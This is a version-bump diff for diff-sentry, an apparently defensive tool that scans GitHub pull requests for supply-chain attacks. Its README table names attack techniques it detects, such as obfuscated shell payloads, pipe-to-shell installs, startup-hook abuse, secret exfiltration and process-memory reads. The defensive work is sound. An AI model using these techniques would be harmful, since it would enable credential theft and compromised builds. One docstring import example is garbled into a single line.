+- **The Action's scan runs the file-structure rules**: a VS Code task that runs on folder open, an npm lifecycle hook or task that runs a file the change adds, a script under an image or font name, obfuscated code in a developer tool's config, and the new startup hooks. Only the model pipeline and `watch` ran them in 0.7.1.
 - **A path git quotes in a diff header** (a byte outside printable ASCII) is read as its file instead of folding into the file before it.
 
 ## 0.7.1

{diff_sentry-0.9.0 → diff_sentry-0.10.0}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.5
 Name: diff-sentry
-Version: 0.9.0
+Version: 0.10.0
 Summary: Catch malicious pull requests before they merge: scan a diff for supply-chain attack patterns with deterministic evidence a model cannot suppress.
 Author: Boik Su
 License-Expression: MIT
@@ -43,16 +43,16 @@ jobs:
       - uses: actions/checkout@v7
         with:
           fetch-depth: 0          # the scan diffs against the PR base
-      - uses: qazbnm456/diff-sentry@v0.9.0
+      - uses: qazbnm456/diff-sentry@v0.10.0
 ```
 
-That is the whole setup. The job fails when an indicator at or above `high` fires.
+That is the whole setup. The job fails when an indicator at or above `high` fires. Add `push` to `on:` to also scan commits pushed straight to a branch. A push that bypasses branch protection can also delete this workflow, so `watch` and `release-watch` read the repository and its releases from outside.
 
 ## What it catches
 
 | Family | Examples |
 |---|---|
-| Workflow configuration | `pull_request_target` that checks out the PR head (the pwn-request that broke AsyncAPI) by `ref:`, by a hand-rolled `git fetch`, or by opting back in with `allow-unsafe-pr-checkout: true`; plus `permissions: write-all` and CODEOWNERS reassignment |
+| Workflow configuration | `pull_request_target` that checks out the PR head (the pwn-request that broke AsyncAPI) by `ref:`, by a hand-rolled `git fetch`, or by opting back in with `allow-unsafe-pr-checkout: true`; a workflow pointed at a lookalike of your own GitHub owner (the litellm release built from `Berri-AI/litellm`); plus `permissions: write-all` and CODEOWNERS reassignment |
 | Obfuscation | base64 that decodes to a shell payload, `_0x…` machine-mangled JavaScript, high-entropy blobs |
 | Execution | pipe-to-shell installs, `${IFS}` space-evasion, detached child processes, inline `node -e`, fetch-to-disk droppers, Python startup hooks (`.pth`, `sitecustomize.py`), packed or downloaded code run with `exec` |
 | Exfiltration | secrets reaching a network sink, cross-process `/proc/<pid>/mem` reads, OAST callback services, IPFS and permaweb gateways |

{diff_sentry-0.9.0 → diff_sentry-0.10.0}/README.md

@@ -21,16 +21,16 @@ jobs:
       - uses: actions/checkout@v7
         with:
           fetch-depth: 0          # the scan diffs against the PR base
-      - uses: qazbnm456/diff-sentry@v0.9.0
+      - uses: qazbnm456/diff-sentry@v0.10.0
 ```
 
-That is the whole setup. The job fails when an indicator at or above `high` fires.
+That is the whole setup. The job fails when an indicator at or above `high` fires. Add `push` to `on:` to also scan commits pushed straight to a branch. A push that bypasses branch protection can also delete this workflow, so `watch` and `release-watch` read the repository and its releases from outside.
 
 ## What it catches
 
 | Family | Examples |
 |---|---|
-| Workflow configuration | `pull_request_target` that checks out the PR head (the pwn-request that broke AsyncAPI) by `ref:`, by a hand-rolled `git fetch`, or by opting back in with `allow-unsafe-pr-checkout: true`; plus `permissions: write-all` and CODEOWNERS reassignment |
+| Workflow configuration | `pull_request_target` that checks out the PR head (the pwn-request that broke AsyncAPI) by `ref:`, by a hand-rolled `git fetch`, or by opting back in with `allow-unsafe-pr-checkout: true`; a workflow pointed at a lookalike of your own GitHub owner (the litellm release built from `Berri-AI/litellm`); plus `permissions: write-all` and CODEOWNERS reassignment |
 | Obfuscation | base64 that decodes to a shell payload, `_0x…` machine-mangled JavaScript, high-entropy blobs |
 | Execution | pipe-to-shell installs, `${IFS}` space-evasion, detached child processes, inline `node -e`, fetch-to-disk droppers, Python startup hooks (`.pth`, `sitecustomize.py`), packed or downloaded code run with `exec` |
 | Exfiltration | secrets reaching a network sink, cross-process `/proc/<pid>/mem` reads, OAST callback services, IPFS and permaweb gateways |

diff_sentry-0.10.0/VENDOR.md

@@ -0,0 +1,10 @@
+# Vendored / external dependencies
+
+diff-sentry vendors nothing. It consumes rlm-harness as an exact PyPI pin, and its deterministic detection logic (indicators, assemble, emit) is its own pure-Python code. The Claude-subscription adapter comes from the rlm-harness wheel (`rlm-harness[subscription]` provides `rlm_harness.ClaudeAgentLM`, injected at `configure(main_lm=…, sub_lm=…)`). The external boundaries diff-sentry does cross, and why, are listed here.
+
+## External services (all opt-in, none bundled)
+
+- **GitHub ingest** (`ingest.py`): shells out to `gh` HOST-SIDE only (transport injectable, never a planner tool). The fetched change content is untrusted LM context, never trusted instructions.
+- **Enrichment fetch** (`fetch_tool.py`): OFF by default, GitHub-allowlisted (MF2), SSRF-guarded by the kit with a resolved-IP re-check on every redirect hop.
+- **SIEM webhook** (`emit.py`): host-side POST after the run; the planner never holds SIEM creds.
+- **The model endpoints** (planner / analyst / classifier): the user's own, by env. No default vendor.

{diff_sentry-0.9.0 → diff_sentry-0.10.0}/action.yml

@@ -1,7 +1,5 @@
 name: 'diff-sentry malicious change scan'
-# Marketplace hard-caps this at 124 characters (the publish form rejects 125+), and it is the one line
-# shown on the listing card and in search results. Keep it under the cap and keep it concrete; the long
-# form lives in the README.
+# Marketplace hard-caps this at 124 characters (the publish form rejects 125+), and it is the one line shown on the listing card and in search results. Keep it under the cap and keep it concrete; the long form lives in the README.
 description: 'Catch malicious pull requests before they merge: obfuscated payloads, exfiltration, pwn-requests. No API key.'
 author: 'qazbnm456'
 
@@ -41,10 +39,8 @@ inputs:
       which is what this repo's own CI uses so that a PR is scanned by the rules IN
       that PR rather than by the ones already on main.
     required: false
-    # KEEP IN STEP WITH [project].version. release.yml fails the build if this drifts
-    # from the tag being released, because a stale default here would silently run an
-    # old scanner under a new action tag.
-    default: '0.9.0'
+    # KEEP IN STEP WITH [project].version. release.yml fails the build if this drifts from the tag being released, because a stale default here would silently run an old scanner under a new action tag.
+    default: '0.10.0'
 
 outputs:
   failed:
@@ -67,8 +63,7 @@ runs:
   using: composite
   steps:
     - name: Install uv
-      # SHA-pinned: a moving major tag on a third-party action could be repointed at code that runs
-      # with the calling workflow's token. Bump the SHA and the trailing version comment together.
+      # SHA-pinned: a moving major tag on a third-party action could be repointed at code that runs with the calling workflow's token. Bump the SHA and the trailing version comment together.
       uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
       with:
         enable-cache: true
@@ -76,9 +71,7 @@ runs:
     - name: Scan the change
       id: scan
       shell: bash
-      # Event data is read from `env:`, never interpolated into the script body. A
-      # `${{ github.event.* }}` expanded straight into a shell command is the classic Actions
-      # script-injection sink, and this action exists to catch that class of mistake.
+      # Event data is read from `env:`, never interpolated into the script body. A `${{ github.event.* }}` expanded straight into a shell command is the classic Actions script-injection sink, and this action exists to catch that class of mistake.
       env:
         EVENT_NAME: ${{ github.event_name }}
         PR_BASE_SHA: ${{ github.event.pull_request.base.sha }}
@@ -108,9 +101,7 @@ runs:
         fi
         echo "diffing ${base}...$(git rev-parse HEAD)"
 
-        # Split the change into a gated half and a report-only half. Anything the caller listed as
-        # pattern-bearing is excluded from the gate and scanned separately, so a repo that legitimately
-        # ships attack samples is not permanently red while the rest of it stays enforced.
+        # Split the change into a gated half and a report-only half. Anything the caller listed as pattern-bearing is excluded from the gate and scanned separately, so a repo that legitimately ships attack samples is not permanently red while the rest of it stays enforced.
         gated_ex=()
         report_inc=()
         while IFS= read -r p; do

{diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/__init__.py

@@ -1,20 +1,12 @@
 """diff-sentry: classify a GitHub change for malicious intent, as a traced RLM harness.
 
-A downstream *consumer* of rlm-harness (an exact PyPI pin) reproducing Datadog's BewAIre defense shape:
-ingest a GitHub PR/issue/push → analyze the diff as UNTRUSTED data in a sandboxed REPL → produce a
-judgement-only structured verdict (benign/suspicious/malicious/inconclusive) → union the deterministic indicator
-evidence on read → emit a SIEM signal host-side → export reward-free trajectories.
+A downstream *consumer* of rlm-harness (an exact PyPI pin) reproducing Datadog's BewAIre defense shape: ingest a GitHub PR/issue/push → analyze the diff as UNTRUSTED data in a sandboxed REPL → produce a judgement-only structured verdict (benign/suspicious/malicious/inconclusive) → union the deterministic indicator evidence on read → emit a SIEM signal host-side → export reward-free trajectories.
 
 Public surface::
 
-    from diff_sentry import DetectConfig, run, detect_from_event          # drive a run
-    from diff_sentry import ChangeVerdict, AssembledVerdict, DetectionResponse  # shapes
-    from diff_sentry import scan_indicators, assemble_verdict, build_response, emit_signal
-    from diff_sentry import normalize_event, event_from_payload, export_dataset
+    from diff_sentry import DetectConfig, run, detect_from_event          # drive a run from diff_sentry import ChangeVerdict, AssembledVerdict, DetectionResponse  # shapes from diff_sentry import scan_indicators, assemble_verdict, build_response, emit_signal from diff_sentry import normalize_event, event_from_payload, export_dataset
 
-`config`, `schema`, `normalize`, `indicators`, `assemble`, `response`, `emit`, `ingest`, `hosts`, `dbutil`, `actors`,
-`snapshot`, `watch`, `rl_export`, `rubric` import NO dspy at module top (unit-testable in isolation).
-`ClassifyChange` / `setup` / `run` / `screen` / `detect_from_event` pull in dspy lazily (via RLMTask).
+`config`, `schema`, `normalize`, `indicators`, `assemble`, `response`, `emit`, `ingest`, `hosts`, `dbutil`, `actors`, `snapshot`, `watch`, `rl_export`, `rubric` import NO dspy at module top (unit-testable in isolation). `ClassifyChange` / `setup` / `run` / `screen` / `detect_from_event` pull in dspy lazily (via RLMTask).
 """
 
 from __future__ import annotations
@@ -80,7 +72,7 @@ __all__ = [
     "screen",
 ]
 
-__version__ = "0.9.0"
+__version__ = "0.10.0"
 
 
 def __getattr__(name: str):  # PEP 562: defer the dspy import to first use